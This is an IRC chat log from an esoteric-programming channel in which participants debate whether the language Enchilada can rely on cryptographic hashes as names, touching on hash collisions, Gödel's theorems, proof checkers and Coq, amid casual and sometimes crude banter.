22:33:07 <AnMaster> alise, also feather
22:33:13 <AnMaster> (but ssh! ais523 is near)
22:33:15 <rapido> alise: is it?
22:33:20 <pikhq> rapido: Hashes, by definition, cannot satisfy what you ask of it.
22:33:27 <alise> If F is a hash function, then there exists (x,y) such that F(x) = F(y), /because/ the output domain of F is smaller than the input domain.
22:33:32 <alise> That is, after all, the purpose of a hash function.
22:33:35 <ais523> AnMaster: I love the way you can try to avoid attracting someone's opinion by nickpinging them
22:33:36 <rapido> what is the chance of your memory to fail or have a hash collision?
22:33:46 <rapido> not your memory of course ;)
22:34:00 <AnMaster> ais523, haha
22:34:28 <pikhq> rapido: Hashes are not unique.
22:34:36 <AnMaster> ais523, it was only a theatrical "avoid attraction"
22:34:39 <AnMaster> if you see what I mean
22:34:47 <pikhq> Relying on hashes being not unique is stupidity.
22:34:50 <alise> rapido: Well there's all sorts of "chance"; many hash functions have been broken.
22:34:53 <alise> It is only a matter of time.
22:35:08 <pikhq> (exception: perfect hash, where you know the input domain perfectly.)
22:35:10 <alise> rapido: Correctness doesn't care about the practical reality, though, because it is about mathematical properties.
22:35:36 <AnMaster> pikhq, indeed
22:35:48 <AnMaster> I used perfect hashes somewhere, forgot for what it was
22:35:54 <alise> AnMaster: cfunge i think.
22:36:01 <AnMaster> oh indeed you are right
22:36:03 <pikhq> Probably hash map of some sort.
22:36:08 <AnMaster> alise, but pretty sure I used it elsewhere too
22:36:17 <AnMaster> pikhq, gperf, to check if a keyword was in a list
22:36:25 <AnMaster> (in the cfunge case)
22:36:31 <pikhq> They're fairly common things to use when you can. ;)
22:36:46 <alise> rapido: I think Enchilada is certainly one of the most unique extant languages.
22:36:47 <AnMaster> the other case wasn't gperf iirc
22:36:49 <rapido> alise: i believe the reality is not correct - at least my computer fails me many more times than hash collisions which have probability 10 ^ -30 - depending on the hash function
22:37:04 <alise> rapido: Me and cpressey discussed one aspect of it recently, actually.
22:37:15 <alise> rapido: Go and look up how many hash functions have been broken.
22:37:25 <fax> I have some cat buiscuts
22:37:31 <alise> SHA-1 is not infallible, and the difficulty of generating collisions reduces every year.
22:37:38 <pikhq> Doesn't SHA1 have some known weaknesses?
22:37:46 <rapido> alise: forget about SHA1 - think about hashes
22:37:49 <alise> pikhq: Yes.
22:37:58 <alise> rapido: If we're being abstract we have to be formal too.
22:38:04 <pikhq> rapido: This is a problem with all hashes.
22:38:07 <ais523> I think it has no known /exploitable/ weaknesses, but the fact that weaknesses exist is making people suspicious
22:38:27 <alise> rapido: forall f:A->B, (card B < card A) -> exists x:A,y:A. f x = f y
22:38:30 <rapido> pikhq: i don't see it as a problem - i see it as a opportunity
22:38:32 <alise> This is a fact.
22:38:44 <pikhq> rapido: An opportunity... For security flaws.
22:38:48 <rapido> if you give a little you gain a lot
22:38:49 <pikhq> Or incorrect execution.
22:38:57 <pikhq> Your choice.
22:39:07 <rapido> pikhq: memory failure is also a possibility
22:39:15 <alise> rapido: pikhq is actually right about security: consider an Enchilada program comparing for equality to some secret value.
22:39:22 <alise> If you can create SHA-1 collisions, you can break this system.
22:39:25 <rapido> you need a physical platform - which is faulty
22:40:00 <alise> rapido: IMO that is an error similar to the one that claims that Turing-completeness of a language is impossible because no universal Turing machine can be constructed.
22:40:09 <pikhq> Yes, this is why things like hashes are useful to secure against this. However, relying on hashes causes greater issues.
22:41:00 <alise> rapido: Actually if we are considering physical things, why do you use hashes? Comparison is not slow.
22:41:18 <alise> Especially if you memoise the results so only the section of the tree not previously compared must be analysed.
22:41:30 <rapido> alise: try comparing two sets which are different in only one element
22:41:34 <alise> Well, I guess that involves comparison in itself.
22:41:42 <alise> rapido: How big are these sets?
22:41:46 <rapido> big
22:42:00 <rapido> let's do some O complexity
22:42:14 <rapido> two sets with size n and m
22:42:18 <pikhq> rapido: Depends heavily on the representation of the set, the location of the difference, and the comparison algorithm in use.
22:42:34 <alise> rapido: you are appealing to practical reasons
22:42:44 <alise> so specify n and m for the actual speed matters...
22:42:58 <rapido> sure it does - but what's the most efficient algorithm?
22:43:04 <alise> Does it matter?
22:43:05 <pikhq> It depends.
22:43:23 <alise> Oh, another criticism - and I'm not trying to sound whiny, just offering my opinions because the positive ones are boring - having every object have a sign is weird-ass.
22:43:32 <pikhq> Efficiency of an algorithm depends a lot on the input.
22:43:53 <rapido> alise: hey, i'm just being esoteric ;)
22:44:10 <pikhq> For instance: if your input is going to always be mostly-sorted, insertion sort is a pretty dang nice algorithm.
22:44:15 <alise> Well, you appear to have practical aims with your language to an extent; perhaps I am wrong.
22:44:30 <fax> why cant an esolang be practical too?
22:44:49 <oerjan> alise: now you are just being negative
22:44:56 <alise> oerjan: Oh ho ho ho
22:45:14 <fax> heh
22:45:19 <rapido> fax: Heresy!
22:45:20 <alise> rapido: Anyway, add dependent types and termination checking and I'll love it.
22:45:37 <alise> This rule is the only exception to the rule that the highest praise I give to any language is that it's interesting and it sucks.
22:45:42 <AnMaster> alise, would you love INTERCAL with dependant types?
22:46:01 * AnMaster prods ais523 about that idea
22:46:08 <alise> AnMaster: As I said, there are no other exceptions to the rule; so since I have stated the single exception, you can assume it applies in all cases the exception enumerates.
22:46:24 <alise> (I hear Enchilada doesn't have exceptions.)
22:46:37 <AnMaster> alise, you lost me there
22:46:39 <fax> Enchiladas don't have souls
22:46:45 <rapido> alise: no exceptions, yes baby!
22:46:56 <alise> rapido: But it has _|_, I presume?
22:47:02 <alise> There are computations that do not terminate?
22:47:23 <alise> Mathematically, this is equivalent to errors: It is the addition of an element _|_ to every type that you cannot check for.
22:47:26 <alise> It is just as insidious.
22:47:44 <rapido> no, it doesn't have bottom - everything terminates eventually
22:47:46 <oerjan> fax: lies! if they're filled with beans they do!
22:47:50 <fax> poor rapido having to listen to this :P
22:48:15 <alise> rapido: Well, that is good. I do hope you realise that this means it cannot be turing-complete.
22:48:21 <alise> So, wait, it is impossible to write cat(1)?
22:49:42 <AnMaster> try to be somewhat nicer to rapido
22:49:43 <rapido> alise: i have thought of this. what about doing something 10^100000 times?
22:49:47 <Sgeo_> It's impossible to surf the web in BF?
22:49:52 <alise> AnMaster: I am not being unkind.
22:49:56 <Sgeo_> [Note: It isn't impossible, given PSOX]
22:50:04 <Sgeo_> So analogy fail
22:50:04 <AnMaster> I agree that depending on hash is bad
22:50:10 <alise> Are you misinterpreting neutrality and my not offering trivial praises of its novelty (which I have already done) as hostility?
22:50:14 <AnMaster> Sgeo_, it is not relevant to TCness though
22:50:18 <alise> rapido: So, you are an ultrafinitist, then?
22:50:34 <alise> rapido: If something could never be computed it is not computable.
22:50:39 <alise> So sufficiently large numbers do not exist...
22:50:40 * Sgeo_ just likes mentioning PSOX around alise
22:50:53 <AnMaster> Sgeo_, while non-terminating is related to TC
22:51:19 <rapido> alise: i like brouwer - the dutch mathematician
22:51:24 <pikhq> TC implies non-termination...
22:51:53 <alise> rapido: You are at least a constructivist then.
22:51:57 <Sgeo_> Would a language in which no program terminates be TC? I'd assume so, since it's easy to make a terminating program not terminate
22:52:30 <alise> But if you respond to a question about non-terminating programs with a question about programs that run for too long to be computed in this universe, then you are at least some form of finitist; I would say the ultra variety.
22:52:34 <alise> Sgeo_: Yes.
22:53:29 * AnMaster accepts non-constructive proofs btw
22:53:32 <fax> Sgeo I guess that you could maybe define 'termination' as something else
22:53:38 <rapido> let me try to explain my case
22:53:46 <fax> like when a particular switch is flicked.. even if other stuff is still happening
22:53:48 <rapido> let's say you have a long winding proof
22:54:00 <rapido> the proof will hold references to other proofs
22:54:27 <rapido> and those proofs will hold references to yet other proofs
22:54:49 <rapido> what is the chance of any reference to be faulty?
22:55:00 <Sgeo_> We should make a system in which cyclical proof references can exist.
22:55:06 <rapido> what can we do to lower that chance?
22:55:07 <pikhq> Sgeo_: Yes, you can implement "termination" as going into a busy-loop or some such.
22:55:30 <rapido> can we make a reference absolutely non-faulty - always?
22:55:34 <rapido> i don't believe so
22:55:41 <rapido> we can lower it
22:55:44 <alise> rapido: Eh?
22:55:48 <alise> You mean it references an incorrect proof?
22:55:57 <alise> Formal proof verification systems mean that the only point of infallibility is the axioms.
22:56:04 <Sgeo_> rapido, that's a problem of mathematicians being wrong, not a property of mathematics itself
22:56:06 <fax> or definitions :P
22:56:06 <alise> See metamath(.org), Coq, Mizar, ...
22:56:15 <rapido> alise: think of the reference itself
22:56:20 <fax> you could defined say 'prime' wrong.. so that every number is prime
22:56:24 <fax> and not realize
22:56:27 <alise> rapido: Define what a reference to a proof IS, as an actual object.
22:56:35 <alise> You seem to be positing some sort of mathematical universe of pointers to proofs.
22:57:10 <rapido> alise: i'm saying that you need pointers
22:57:16 <Sgeo_> Why?
22:57:20 <alise> rapido: This is false.
22:57:25 <rapido> alise: to scala
22:57:29 <rapido> scala <- scale
22:57:40 <alise> Define scale, and what has scaling got to do with abstract mathematics?
22:58:10 <rapido> doesn't abstract mathematics need pointers?
22:58:16 <alise> Nope?
22:58:24 <alise> At least I haven't found any in the axioms I've looked at recently.
22:58:27 <rapido> to refer to something? a word is a pointer
22:59:07 <Sgeo_> rapido, a reference to a proof is just um.. kind of included, I guess? More like a #define than an import?
22:59:12 * Sgeo_ is not sure if he's making sense
22:59:17 <alise> rapido: No, a name is just a placeholder.
22:59:25 <alise> You can replace it directly, rather than assigning it to anything.
22:59:56 <alise> (forall p, p -> (forall q, q -> p)) doesn't have any pointers; it has placeholders. By itself, it means nothing: not unless you know how to fill in the foralls.
23:00:02 <rapido> alise: but the name must be unique, not?
23:00:05 <alise> When you do, you replace them directly. There are no pointers, only symbol manipulation.
23:00:21 <rapido> otherwise the statement will be ambigious
23:00:31 <rapido> ambiguous
23:01:08 <alise> yes, and?
23:01:13 <rapido> come on - names refer to bigger things
23:01:23 <rapido> they compress the bigger things
23:01:40 <rapido> they are a poor-mans hash of the things they refer to
23:02:11 <rapido> the bigger things have names in them
23:02:19 -!- alise has left (?).
23:02:21 <rapido> they refer to other objects
23:02:24 -!- alise has joined.
23:02:32 <alise> rapido: I think that's rubbish.
23:02:37 <rapido> alise: ok
23:02:40 <alise> Symbolic notation is not compression.
23:02:55 <rapido> i think it's exactly that
23:03:03 <rapido> that's abstraction
23:03:07 <rapido> to compress
23:03:10 <oerjan> rapido: a name would only be a hash if it was derived entirely from the thing it named
23:03:11 <fax> heh you could hard code in something that ensures that every variable name you use, names some term which is larger
23:03:25 <alise> oerjan: precisely!
23:03:29 <alise> It's a placeholder, not a smaller form.
23:03:34 <rapido> oerjan: yes, that's why i like hashes better than names
23:03:35 <fax> ilke you couldn't define sum = +/
23:03:40 <fax> it would be an error
23:03:40 <alise> In (p -> (q -> p)), we're really just defining a template for truths.
23:04:02 <oerjan> rapido: and it is also why hashes must have the possibility of collisions, but names need not
23:04:03 <alise> We're saying that: If we have a thing, and another thing, then the first thing implies that the second thing implies the first thing.
23:04:08 <alise> There is no compression.
23:04:12 <alise> brb.
23:05:22 <rapido> oerjan: names may not - but who will make sure the names don't clash?
23:05:35 <oerjan> rapido: the compiler/verifier
23:06:11 <rapido> oerjan: don't you agree that names compress the complex objects hat they refer to?
23:06:21 <rapido> hat <- that
23:06:54 <oerjan> rapido: now you are just shifting the meaning of a term, it won't help your actual argument any
23:06:59 <rapido> otherwise you would end up with pure value passing semantics - which is very inefficient
23:07:24 <rapido> oerjan: and what's my actual argument?
23:07:40 <oerjan> _whatever_ it is :D
23:07:55 <fax> hello
23:08:35 <oerjan> as in, whether the term "compression" includes names is uninteresting if it's just defined to do so
23:08:39 <rapido> fax: 'heh you could hard code in something that ensures that every variable name you use, names some term which is larger'
23:09:03 <rapido> fax: this would end up with names as big as the objects themselves
23:09:33 <Sgeo_> inefficient? When dealing with _shifting math around_?
23:09:34 <rapido> fax: just would rather have the objects - thank you very much
23:09:41 -!- cheater2 has changed nick to cheater.
23:10:06 <oerjan> rapido: i think you are reading fax backwards
23:10:25 * fax doesn't havea problem with that
23:11:03 <rapido> oerjan: that's right
23:11:16 <rapido> fax: it is an interesting thought - thanks!
23:12:14 -!- chromakode has joined.
23:12:28 <rapido> but i do still think names/pointers/links are meant to compress information - think of exact repetitions
23:12:50 -!- almya has left (?).
23:13:11 <rapido> you just say: hey i've got this object and a name it x
23:13:14 -!- rbradfor has joined.
23:13:20 -!- rbradfor has left (?).
23:13:29 <rapido> now i have this other object y, and it holds 4 x's
23:13:50 <rapido> and so forth
23:14:27 <rapido> but how are you going to name the 10^10000 object that holds other object names?
23:15:09 <rapido> names are important especially in a distributed setup where you can't have a central naming service
23:15:24 <rapido> who is giving out the names?
23:17:07 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:19:37 <rapido> i will give myself a name, and a won't be a hash
23:20:31 <Sgeo_> rapido, to be clear, you're talking about computers, and not math, right?
23:20:56 <fax> I am a name not a number!
23:21:30 <rapido> Sgeo_: math is riddled with references and names that refer to complex abstractions
23:21:34 <lament> be quiet, 38
23:22:26 <rapido> Sgeo_: of course, you can always create the full proof down the axioms, without references
23:22:50 -!- chromakode has left (?).
23:23:40 <rapido> Sgeo_: 'math' doesn't difference from 'computers' - whatever that means
23:24:55 <rapido> you can never be certain
23:25:01 <alise> back
23:25:03 <rapido> even mathematical proofs aren't certain
23:25:06 <alise> rapido: sigh
23:25:07 <alise> yes they are
23:25:14 <alise> see proof verifiers
23:25:15 <rapido> you need faulty humans to falsify mathematical proofs
23:25:19 <alise> nope
23:25:22 <alise> you need computers
23:25:37 <alise> fax: correct him plz
23:25:44 <fax> who?
23:25:52 <Oranjer> me!
23:25:56 * Sgeo_ wonders if rapido might be pulling a fax.
23:25:59 <alise> rapido, saying that proofs aren't certain because you need humans to falsify them or something
23:26:09 <rapido> alise: but computers are faulty - the change of computers to faulty is much higher than hash collisions
23:26:26 <fax> Oranjer, you are so damn wrong it makes my head hurt. I have never haerd someone be so wrong, I can't beleive you are sreious forgoodness sake -- you gotta be kidding? The sad thing is I know you arent..
23:26:31 <rapido> change <-chance
23:26:35 <alise> rapido: except when computers go wrong - they don't say "Yes this is valid omg!"
23:26:38 <Sgeo_> fax, wrong person
23:26:43 <alise> they say "Segmentation fault"
23:26:51 <fax> Sgeo, you are so damn wrong it makes my head hurt. I have never haerd someone be so wrong, I can't beleive you are sreious forgoodness sake -- you gotta be kidding? The sad thing is I know you arent..
23:26:54 <rapido> fax: thanks for correcting me - thank you very much
23:26:59 <pikhq> alise: Or just say nothing, if you've got very bad luck.
23:27:03 <alise> he pinged Oranjer, rapido
23:27:05 <alise> not you!
23:27:09 <Oranjer> yeah!
23:27:13 <pikhq> But, it tends to be pretty clear when that happens.
23:27:16 <fax> rapido, what?
23:27:42 <pikhq> "This is putting out 5 instead of 6. WTF? Oh, it works in the debugger. Mmkay, Heisenbug."
23:28:02 <rapido> heisenbug! now you are talking my way!
23:28:22 <rapido> i like heisenbugs!
23:28:25 <rapido> they are great!
23:28:43 <pikhq> Hash collisions are not heisenbugs in your language. They are just *inexplicable* ones. ;)
23:28:57 <rapido> we should create a esoteric language called heisenbug!
23:29:40 <rapido> the default would be an heisenbug statement - with the remote exception of a correct statement
23:30:55 <rapido> if the heisenbug language proves to be turing complete - i'm done!
23:31:06 * oerjan notices no one seems to have named any actual insect after heisenberg
23:32:23 <fax> what is my role in all this?
23:33:00 <rapido> pikhq: just to make you shiver: 'corporate' storage depends on hashes (that may have collisions)
23:33:10 <oerjan> fax: you write this all down and send it as beeps over a phone line
23:33:55 <pikhq> rapido: Yes, hash tables are common.
23:33:56 <alise> rapido: You are mixing the practical and the theoretical, seemingly repeatedly.
23:33:59 <alise> Why?
23:34:00 <pikhq> They allow for collisions.
23:34:07 <alise> Some people believe them to be equal. Do yu
23:34:09 <alise> *you?
23:34:16 <alise> I'm merely curious as to how your justifications work...
23:34:47 <pikhq> (You hash the index, look in the table, and then compare against the proper index to find the proper item.)
23:34:47 <fax> alise hey
23:34:51 <fax> what was that earlier
23:34:59 <rapido> alise: i think theoretical abstractions need reality to be expressed.
23:35:03 <alise> What was what, fax?
23:35:08 <rapido> i do see the difference
23:35:11 <alise> pikhq: precisely, hash tables don't require collisions to break things :)
23:35:30 <pikhq> alise: Heheheh.
23:35:48 <alise> rapido: Then it is a philosophical disagreement we have, and having reached the bottom layer of where rationality works, we should abandon the discussion immediately. :)
23:36:25 <rapido> alise: i see that - no prob :)
23:36:41 <fax> alise you told me to correct something -- what?
23:36:44 <Ilari> Hmm... Esolang where programs consist of prime - 1 operations and next operation is selected by g(1+x) - 1 mod p (x + 1 mod p for branches).
23:36:53 <alise> fax: rapido :P
23:37:07 <alise> rapido: Well, I applaud your work on Enchilada and hope you'll visit here often.
23:37:21 <fax> yes butwhat did he say?
23:37:28 <rapido> fax: lol!
23:37:48 <rapido> fax: hey - at least i've made something runnable!
23:38:43 <alise> fax: that mathematical proofs were fallible
23:38:48 <alise> because "you need fallible humans to falsify them"
23:39:14 <fax> sounds like a word definition problem
23:39:15 <Sgeo_> Ilari, that sounds very familiar
23:39:53 <Ilari> "Nice" properties of that include that program flow totally changes if program space is enlarged.
23:40:00 <rapido> sound like the scientific approach - repeat and measure
23:40:07 <alise> Science is not mathematics.
23:40:18 <rapido> alise: again we disagree
23:40:21 <alise> Mathematics is the domain of the certain. Science is the domain of the uncertain, that which we must experiment on to determine.
23:40:39 <alise> Science is the art of building mathematical theories based on experiment.
23:41:10 <fax> alise I dont think I agree with that
23:41:15 <alise> rapido: Well, I think I have the evidence on my side. There are many mechanical proof checkers upon which a large part of mathematics has been formulated.
23:41:26 <alise> Saying that mathematics is uncertain is a bit silly in light of that.
23:41:29 <pikhq> Mathematics is the art of producing absolute certainties based upon other absolute certainties or absolute declarations.
23:41:39 <alise> You must be sure that your axioms are consistent.
23:41:43 <alise> Beyond that, you can be sure.
23:42:05 <fax> i don't really agree with you guys
23:42:21 <rapido> alise: your romance with math is before 1935
23:42:32 <alise> Ha!
23:42:43 <alise> What are you trying to say?
23:42:56 <Ilari> In space of size 6, the execution order goes: 1,3,2,6,4,5,1... In space of size 10 it goes: 1,2,4,8,5,10,9,7,3,6,1...
23:42:58 <Sgeo_> When was Godel doing his stuff?
23:43:13 <rapido> alise: that math is much to great and complex and interesting to be certain
23:43:15 <oerjan> Ilari: what's your g?
23:43:18 <alise> Sgeo_: '31
23:43:45 <Ilari> oerjan: First g with maximal order. 3 in first example, 2 in second.
23:43:56 <alise> rapido: I really do invite you to go up to any of the many people who have worked on proof checkers, proof assistants, and laboriously defined and proved things in these systems - and say that to them.
23:44:01 <rapido> alise: and that axioms are not enough - godel has proved that
23:44:06 <alise> You could start with the people who used a computer to prove the four-colour theorem.
23:44:17 <alise> "Axioms are not enough"? Godel says nothing of the sort.
23:44:18 <pikhq> No, he showed that axioms could not be shown to be consistent.
23:44:25 <alise> No he didn't.
23:44:34 <fax> rapido: btw I think most people here are post-godel
23:44:40 <pikhq> Erm. Could not within the axiomatic system, wasn't it?
23:44:53 <alise> He showed that a theory of at least the strength of Peano Arithmetic can be either two things:
23:45:03 <fax> rapido: of course it is a big factor
23:45:03 <rapido> sure - i'm more into popper <- an oldie also
23:45:10 <alise> Consistent, or have a proof of its own consistency inside itself.
23:45:17 <pikhq> Ah, right. That was it.
23:45:30 <alise> i.e. no consistent theory of sufficient strength contains a proof of its own consistency
23:45:38 <rapido> alise: that's one way of putting it
23:45:41 <alise> That's the second theorem.
23:45:51 <pikhq> ... That's what he... Said...
23:45:54 <alise> The first is that a theory at least as strong as PA can either be consistent or complete.
23:46:13 <oerjan> Ilari: i think you left out the +1 -1 bits in your examples. although that may be a good thing.
23:46:28 <lament> your definition is inconsistent with the ones that are usually given
23:46:32 <rapido> alise: what i don't understand is that you allow proof checkers
23:46:47 <pikhq> rapido: What's to not understand?
23:46:49 <alise> rapido: Perhaps you do not understand what a proof checker is.
23:46:54 <rapido> why do you rely on faulty memory
23:47:04 <Ilari> oerjan: Of course branch jumps are pretty incompatible with general flow (but that's a "feature").
23:47:05 <rapido> alise: i perfectly understand.
23:47:06 <oerjan> Ilari: so, first primitive root
23:47:11 <alise> rapido: Your appeal to errors in memory to demonstrate that mathematics is uncertain is really poor.
23:47:15 <rapido> do you trust the compiler
23:47:16 <Ilari> oerjan: Yes.
23:47:27 <rapido> has the compiler been proved correctly?
23:47:32 <rapido> what about the processor?
23:47:34 <rapido> etc, etc
23:47:39 <pikhq> Your appeal to human fallibility to demonstrate that mathematics is uncertain is also very poor.
23:47:39 <alise> For one, you can have RAM with so much error checking that it is physically impossible for it not to detect an error for the computation you are doing...
23:47:47 <alise> rapido: There is an article about this.
23:47:49 <pikhq> They are either correct or incorrect. This is certain.
23:47:50 <alise> Let me find it.
23:47:56 <alise> http://r6.ca/homework.html
23:47:58 <alise> There.
23:48:38 <fax> rapido - of course the main thing people are forgetting is there's so much more to mathematics than formal proof
23:48:51 <rapido> fax: very true
23:48:54 <dixon> (no there's not)
23:49:18 <rapido> alise: http://r6.ca/homework.html <- this i don't like
23:49:58 <alise> Specify this.
23:50:12 <fax> alise, he doesn't like URLs
23:50:16 <Sgeo_> It doesn't have www., therefore it's nonsensical
23:50:25 <Sgeo_> Darn it, fax is funnier
23:50:32 <Ilari> Hmm... Is there point where one couldn't branch. That would correspond to gx = x + 1 mod p => (g-1)x = 1 mod p => x = (g-1)^-1 mod p. Since g > 1, g-1 > 0 and thus inverse exists...
23:50:39 * Sgeo_ goes back to feeling useless
23:50:50 <fax> Ilari, I couldn't understand the first sentence of that :(
23:53:20 <dixon> See, his first mistake is thinking he could be novel.
23:53:23 <oerjan> Ilari: x = g^(p-2) (mod p)
23:53:29 <oerjan> er wait
23:53:39 <oerjan> (g-1)^(p-2)
23:54:27 * Sgeo_ is a novel.
23:54:43 <rapido> alise: 'For one, you can have RAM with so much error checking that it is physically impossible for it not to detect an error for the computation you are doing...'
23:55:27 <rapido> alise: for one, you can have hashes with so many bits that it is physically impossible not to detect an error for the computation you are doing...
23:55:43 -!- tombom has quit (Quit: Leaving).
23:55:55 <rapido> now i will stop moaning about hashes
23:56:04 <alise> rapido: no that's false
23:56:11 <alise> because if the output domain is smaller than the input - the definition of a hash
23:56:21 <alise> it is MATHEMATICALLY IMPOSSIBLE for it to do what you want...
23:56:29 <Sgeo_> alise, I think rapido is trying to make an analogy?
23:56:29 * oerjan has his laptop spontaneously quantum tunnel into a state where it thinks 2+2=5
23:56:40 <rapido> the checking bits of faulty ram is smaller than the ram
23:57:28 <rapido> you can't have absolutely perfect ram
23:57:45 <fax> MATHEMATICALLY IMPOSSIBLE -- the most kind of impossible there is
23:58:11 <fax> oerjan, I was reading this algebra book right
23:58:14 * Sgeo_ lossessly compresses everyone into a bit.
23:58:18 <fax> and they were saying: Lets solve some equation: ...
23:58:20 <rapido> fax: no, the most kind of impossible there is - is god
23:58:28 <dixon> Actually, you can have infinitely outputting hash functions.
23:58:33 <fax> and to 'solve it' they just invent a NEW number system... which has a new element in it... which solves the equation
23:58:35 <dixon> e.g., sponge constructions
23:58:37 <fax> it's cheating!
23:59:11 <fax> rapido oh you're another of the atheist people I guess -_-
23:59:12 <rapido> dixon: a sponge bob - another hero if mine!
23:59:24 <rapido> if <- of
23:59:29 <dixon> haha
23:59:36 <oerjan> fax: hm that's a bit rough. it can be useful for some things, though. (witness complex numbers.)
23:59:46 <Sgeo_> alise, what were your dictatorship plans? I think it's safe to discuss them now
2010-03-28
00:00:01 <fax> oerjan, yeah one of the excercise was: solve the following equation x^2+1
00:00:06 <dixon> Although those are more useful for stream ciphers than actual hashes. I'm sure their proofs of security are only for a finite amount of output before they hit a cycle or something.
00:00:10 <Sgeo_> fax, BWUH?
00:00:11 <oerjan> that's not an equation
00:00:16 <fax> oops
00:00:17 <fax> =0
00:00:18 <alise> fax: is your definition of "one of the atheist people" "someone who doesn't believe in god"
00:00:26 <oerjan> nice smiley :D
00:00:30 * Sgeo_ is an atheist person.
00:00:33 <dixon> fax: (set it equal to 0 and tell him he's lame)
00:00:59 <lament> do you believe in angels?
00:01:06 <rapido> dixon: uuuh - i need to study your reference to sponge constructions
00:01:12 -!- zzo38 has joined.
00:01:21 <fax> of course, and I beleive in paralell lines too
00:01:23 <oerjan> fax: adding roots of polynomials in that way is a fundamental tool of galois theory iirc
00:01:29 * Sgeo_ does not believe in anything that would commonly be considered to be supernatural.
00:01:31 <fax> hi zzo73
00:01:41 <dixon> rapido: http://sponge.noekeon.org/
00:01:49 <fax> oerjan, hm
00:01:49 <dixon> http://sponge.noekeon.org/SpongeFunctions.pdf
00:01:50 <rapido> i could believe in god and still find the concept of god to be impossible
00:01:54 <rapido> such is believe
00:02:19 <oerjan> although if you are inside the complex numbers to start with, you don't really need to go outside them
00:02:29 <rapido> dixan: ah, thanks!
00:02:41 <dixon> rapido: They're cryptographic hashes, however.
00:03:03 <rapido> dixon: cryptographic hashes are the only ones i'm considering
00:03:35 <lament> what if you believe in angels but don't believe in god?
00:03:48 * Sgeo_ pokes alise
00:04:04 <dixon> rapido: But yes, by definition they're surjective when useful and thus have collisions.
00:04:19 <fax> Sgeo what abou gravity
00:04:23 <fax> it's supernatural
00:04:24 <dixon> lament: Then you must've seen my girlfriend.
00:04:26 <rapido> lament: then you would be a flying lunatic with wings
00:04:30 <alise> Sgeo_: hi
00:04:44 <Sgeo_> fax, lolwhat?
00:04:50 * Sgeo_ blinks a few times
00:04:54 <fax> nobody has explained it yet
00:05:05 <fax> it's like ghosts or ufos or whatever
00:05:25 <oerjan> fax: gravity is a scam by scientists. intelligent falling is the truth!
00:05:39 <Sgeo_> It exists, as demonstratably as possible.
00:05:57 <Oranjer> it's God's Hand Pushing us Down From Eden
00:06:00 <fax> well intelligent falling is a much better explanation by occams razor but it does leave some key questions open
00:06:01 <Sgeo_> Ghosts and UFOs have not been observed by any measurements.
00:06:13 <rapido> dixon: all that i want is a naming service that is scalable
00:06:28 <Sgeo_> rapido, let the name of the proof be the content of the proof.
00:06:31 <oerjan> Oranjer: no that would be more the coriolis force. eden is in the east, iirc
00:06:37 <fax> Sgeo - oh that's true I guess
00:06:43 <zzo38> What doe sthat mean, intelligent falling??
00:06:46 <Oranjer> fax, it is not a better explanation by occams razor
00:06:56 <alise> "Playing with Coq in Jack" -- paper title
00:07:00 <zzo38> The reason otyugh attack with only two tentacles is because one tentacle has three eyes.
00:07:00 <rapido> Sgeo_: but proofs can be huge - think of computer generated proofs
00:07:02 <Oranjer> occams razor refers to the amount of assumptions an explanation requires
00:07:12 <alise> zzo38: intelligent falling is the demonstratable fact that gravity is a lie and all things are actually being pushed down by god individually
00:07:24 <zzo38> alise: That cannot be demonstratable
00:07:25 <fax> alise... how you have possibly managed to find a coq paper I haven't read O_O
00:07:38 <zzo38> Mostly because it doesn't work.
00:08:06 <oerjan> zzo38: http://en.wikipedia.org/wiki/Intelligent_falling
00:08:08 <zzo38> If you want to say God invented gravity, that's different however. Still not provable, though
00:08:19 <dixon> falsifiable
00:08:24 <Sgeo_> I get the feeling that I should learn Coq
00:08:28 <dixon> Using bigger words make you sound smarter.
00:08:31 <alise> fax: googling for unrelated things
00:08:40 <alise> zzo38: IT WORKS!!!!
00:08:46 <alise> now how do I do nested theorems in coq
00:08:53 <pikhq> See, we don't fall off the earth!
00:09:03 <dixon> Sgeo_: I wouldn't bother. You'd be in the same boat as the Haskellingtons masturbating to the Curry-Howard isomorphism.
00:09:13 * Sgeo_ knows a bit of Haskell
00:09:24 <dixon> HEY LOOK GUYS I CAN PRETEND I'M A MATHEMATICIAN BECAUSE I CAN WRITE PROOFS IN COQ fapfapfapfapfap etc
00:09:31 * Sgeo_ should probably learn what the Curry-Howard isomorphism
00:09:33 <Sgeo_> *is
00:09:41 <fax> Sgeo it's nothing very deep
00:09:46 <zzo38> alise: What I mean is the proof desn't work.
00:09:52 <zzo38> s/desn't/doesn't/
00:09:53 <fax> Sgeo -- just a notationally similarity between proof systems and type systems
00:09:59 <fax> notational
00:10:03 * oerjan has _never_ masturbated to the curry-howard isomorphism. should i try it?
00:10:14 <dixon> Sgeo_: It says if you can make a type to represent a theorem and then find a value that satisfies the type, you prove the theorem.
00:10:20 <rapido> look.... the coq has giving me sign - it's hanging low - it's time to go to bed.... later ...
00:10:40 -!- rapido has quit (Quit: rapido).
00:15:06 <fax> alise: on facebook: Jack Coq Hardi
00:15:06 <fax> Jack Coq Hardi
00:15:07 <fax> Not the Jack Coq Hardi you were looking for? Search more »
00:15:47 <alise> Jacking off Coqs in Jack
00:16:20 <alise> guh, constructing a sigma is a bitch in a coq proof
00:16:43 <oerjan> the coq sigma stigma
00:16:46 <dixon> a sigma algebra?
00:17:00 <fax> alise just give the value and prove it correct using tactics
00:17:12 <alise> yeah but I want to give the value using proof syntax
00:17:20 <dixon> a sigma algebra?
00:17:28 <alise> so I put it in another top-level theorem, which is a bitch. and then I have to do it all separately in another theorem
00:17:30 <alise> and it's all fffffffffff
00:17:40 <oerjan> dixon: unlikely.
00:17:53 <dixon> He couldn't have meant a series?
00:17:58 <oerjan> not that i'm _sure_ alise doesn't know what that is, but...
00:18:47 <oerjan> well, for one thing alise only does constructivist things, i doubt sigma algebras qualify
00:19:21 <alise> you know constructivism isn't some crazy fringe philosophy :)
00:19:29 <fax> yes it is :P
00:19:30 <dixon> Yes it is.
00:19:45 <dixon> And it's a boring one, because it's shit that's been done since the 1800's.
00:21:00 -!- jcp has joined.
00:21:35 <oerjan> dixon: but it's very useful for masturbating to the curry-howard isomorphism, i hear
00:21:47 * oerjan ducks
00:22:04 <dixon> I lol'd
00:23:06 <dixon> Next all he has to say is he's a finitist
00:23:13 <alise> It may be boring and old but who cares?
00:23:21 * pikhq masturbates to finite sequences
00:23:24 <alise> dixon: fax is a finitist
00:23:24 <pikhq> :P
00:23:26 <alise> so...
00:23:33 <alise> you're looking at the wrong person I'm very much a believer in infinities
